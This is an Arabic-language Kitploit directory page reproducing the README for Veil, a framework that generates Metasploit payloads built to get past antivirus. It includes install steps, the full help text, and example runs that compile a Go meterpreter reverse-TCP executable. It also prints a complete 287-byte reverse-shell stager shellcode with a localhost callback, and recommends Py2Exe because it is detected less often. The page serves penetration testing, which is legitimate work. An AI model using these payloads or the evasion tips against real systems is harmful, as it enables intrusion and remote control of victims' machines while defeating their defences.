Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Veil — Veil 3.1.X (تحقق من معلومات الإصدار في Veil وقت التشغيل) | Kitploit
أدوات/GitHubGitHub/veil-framework/veil
أطر الاستغلالتوليد الحمولةاختبار الاختراقالقيادة والسيطرةتوليد شيفرة القشرةArchived
GitHubveil-framework/veil

Veil

Veil 3.1.X (تحقق من معلومات الإصدار في Veil وقت التشغيل)

عرض المستودع
4.2k914منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Veil

Veil Logo

فيل هي أداة مصممة لإنشاء حمولات metasploit التي تتجاوز حلول مكافحة الفيروسات الشائعة.

فيل مدعوم حاليًا من قبل @ChrisTruncer


المتطلبات البرمجية:

أنظمة التشغيل التالية مدعومة رسميًا:

  • Debian 8+
  • Kali Linux Rolling 2018.1+

أنظمة التشغيل التالية من المحتمل أن تكون قادرة على تشغيل Veil:

  • Arch Linux
  • Manjaro Linux
  • BlackArch Linux
  • Deepin 15+
  • Elementary
  • Fedora 22+
  • Linux Mint
  • Parrot Security
  • Ubuntu 15.10+
  • Void Linux

الإعداد

التثبيت السريع في Kali

root@kitploit:~
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

التثبيت السريع عبر Git

ملاحظة:

  • يجب أن يتم التثبيت بصلاحيات المستخدم المتميز (سوبر يوزر). إذا لم تكن تستخدم حساب الجذر (كما هو افتراضي في Kali Linux)، أضف sudo قبل الأوامر أو قم بالتبديل إلى المستخدم الجذر قبل البدء.
  • قد يختلف مدير الحزم لديك عن apt. ستحتاج أيضًا إلى تشغيل خادم X إما على النظام نفسه أو على نظامك المحلي.
root@kitploit:~
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent

./config/setup.sh // ملفات الإعداد

هذا الملف مسؤول عن تثبيت جميع تبعيات Veil. يتضمن ذلك بيئة WINE بأكملها، للجانب الخاص بنظام Windows. سيقوم بتثبيت جميع حزم Linux الضرورية و GoLang، بالإضافة إلى Python و Ruby و AutoIT لنظام Windows. بالإضافة إلى ذلك، سيقوم أيضًا بتشغيل ./config/update-config.py لبيئتك.

يتضمن علمين اختياريين، --force و --silent:

root@kitploit:~
--force ~ إذا حدث خطأ ما، فسيؤدي ذلك إلى الكتابة فوق أي تثبيتات سابقة تم اكتشافها. مفيد عندما يكون هناك تحديث لحزمة الإعداد.
--silent ~ سيقوم هذا بإجراء تثبيت غير مراقب لكل شيء، حيث سيقوم بأتمتة جميع الخطوات، لذلك لا يوجد تفاعل من المستخدم.

يمكن تشغيل هذا إما عن طريق: ./Veil.py --setup أو ./config/setup.sh --force.

./config/update-config.py // إعادة إنشاء ملف التكوين

سيؤدي هذا إلى إنشاء ملف الإخراج لـ /etc/veil/settings.py. في معظم الأحيان لن تحتاج إلى إعادة بنائه ولكن في بعض الحالات قد يُطلب منك القيام بذلك (مثل تحديث كبير لـ Veil).

من المهم أن تكون في الدليل ./config/ قبل تنفيذ update-config.py. إذا لم تكن كذلك، فسيكون /etc/veil/settings.py غير صحيح وعند تشغيل Veil سترى ما يلي:

root@kitploit:~
    Main Menu

            0 payloads loaded

لا داعي للذعر. قم بتشغيل إما: ./Veil.py --config أو cd ./config/; ./update-config.py.

Py2Exe

ملاحظة: يوصى باستخدام Py2Exe بدلاً من PyInstaller (حيث أن معدل اكتشافه أقل).

التثبيت يدويًا على جهاز كمبيوتر يعمل بنظام Windows (لأن هذا لا يتم بواسطة إعداد Veil):

  • Python 3.3
  • Py2Exe
  • PyCrypto
  • PyWin32

مثال على الاستخدام

القائمة الرئيسية لـ Veil:

root@kitploit:~
$ ./Veil.py
===============================================================================
                             Veil | [Version]: 3.1.6
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Main Menu

  2 tools loaded

Available Tools:

  1)  Evasion
  2)  Ordnance

Available Commands:

  exit      Completely exit Veil
  info      Information on a specific tool
  list      List available tools
  options     Show Veil configuration
  update      Update Veil
  use     Use a specific tool

Veil>:

المساعدة

root@kitploit:~
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
               [--version] [--ip IP] [--port PORT] [--list-payloads]
               [-p [PAYLOAD]] [-o OUTPUT-NAME]
               [-c [OPTION=value [OPTION=value ...]]]
               [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
               [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
               [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]

Veil is a framework containing multiple tools.

[*] Veil Options:
  --list-tools          List Veil's tools
  -t TOOL, --tool TOOL  Specify Veil tool to use (Evasion, Ordnance etc.)
  --update              Update the Veil framework
  --setup               Run the Veil framework setup file & regenerate the
                        configuration
  --config              Regenerate the Veil framework configuration file
  --version             Displays version and quits

[*] Callback Settings:
  --ip IP, --domain IP  IP address to connect back to
  --port PORT           Port number to connect to

[*] Payload Settings:
  --list-payloads       Lists all available payloads for that tool

[*] Veil-Evasion Options:
  -p [PAYLOAD]          Payload to generate
  -o OUTPUT-NAME        Output file base name for source and compiled binaries
  -c [OPTION=value [OPTION=value ...]]
                        Custom payload module options
  --msfoptions [OPTION=value [OPTION=value ...]]
                        Options for the specified metasploit payload
  --msfvenom []         Metasploit shellcode to generate (e.g.
                        windows/meterpreter/reverse_tcp etc.)
  --compiler pyinstaller
                        Compiler option for payload (currently only needed for
                        Python)
  --clean               Clean out payload folders

[*] Veil-Ordnance Shellcode Options:
  --ordnance-payload PAYLOAD
                        Payload type (bind_tcp, rev_tcp, etc.)

[*] Veil-Ordnance Encoder Options:
  --list-encoders       Lists all available encoders
  -e ENCODER, --encoder ENCODER
                        Name of shellcode encoder to use
  -b \x00\x0a.., --bad-chars \x00\x0a..
                        Bad characters to avoid
  --print-stats         Print information about the encoded shellcode
$

واجهة سطر أوامر Veil Evasion

root@kitploit:~
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Language: go
 [*] Payload Module: go/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
 [*] Source code written to: /var/lib/veil/output/source/payload.go
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$

واجهة سطر أوامر Veil Ordnance

root@kitploit:~
$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
===============================================================================
                                   Veil-Ordnance
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Payload Name: Reverse TCP Stager (Stage 1)
 [*] IP Address: 127.0.0.1
 [*] Port: 4444
 [*] Shellcode Size: 287

\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
$

الترخيص

هذا المشروع مرخص بموجب رخصة GNU العامة العامة الإصدار 3.

تنزيل الأداة